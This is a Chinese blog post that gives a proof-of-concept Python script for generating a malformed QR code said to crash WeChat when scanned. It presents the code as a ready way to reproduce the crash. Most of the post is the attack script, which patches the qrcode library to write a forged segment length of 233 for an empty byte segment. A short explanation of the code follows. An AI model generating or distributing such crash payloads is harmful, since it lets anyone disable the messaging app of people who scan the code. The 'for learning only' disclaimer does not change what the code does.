微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码 纯情2023-04-24网络 热度: °C默认 / 楷体 / 霞鹜文楷体 注:代码可能带有破坏性,仅用于学习,分析用途。微信崩溃了?微信最新版二维码 Bug, 不知道问题在哪里。使用下面代码,轻松帮你复现。安装 qrcodepip isntall qrcode Plain text复制生成代码: import qrcode from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE def nvwu_put(self, num, length): if num == 0: num = 233 # 制造一个伪造的长度 for i in range(length): self.put_bit(((num >> (length - i - 1)) & 1) == 1) qrcode.util.BitBuffer.put = nvwu_put def anquannvwu(): qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0) num_data = QRData('1145141', MODE_NUMBER) data = QRData(b'.', MODE_8BIT_BYTE) hack_data = QRData(b'', MODE_8BIT_BYTE) # 确保所有数据都适应这个版本的最大内容长度 qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) # 添加一个零长度的数据,使得数据的长度为 233 qr.add_data(hack_data) img = qr.make_image() img.save("./poc1.png") if __name__ == "__main__": anquannvwu()Plain text复制上面的代码做了以下工作:创建一个新的 QR 码,纠错等级为 M,掩码模式为 0。创建一个新的 QR 数据,字符串为 '1145141',模式为 MODE_NUMBER。创建一个新的 QR 数据,字符串为 '.',模式为 MODE_8BIT_BYTE。创建一个新的 QR 数据,字符串为空,模式为 MODE_8BIT_BYTE。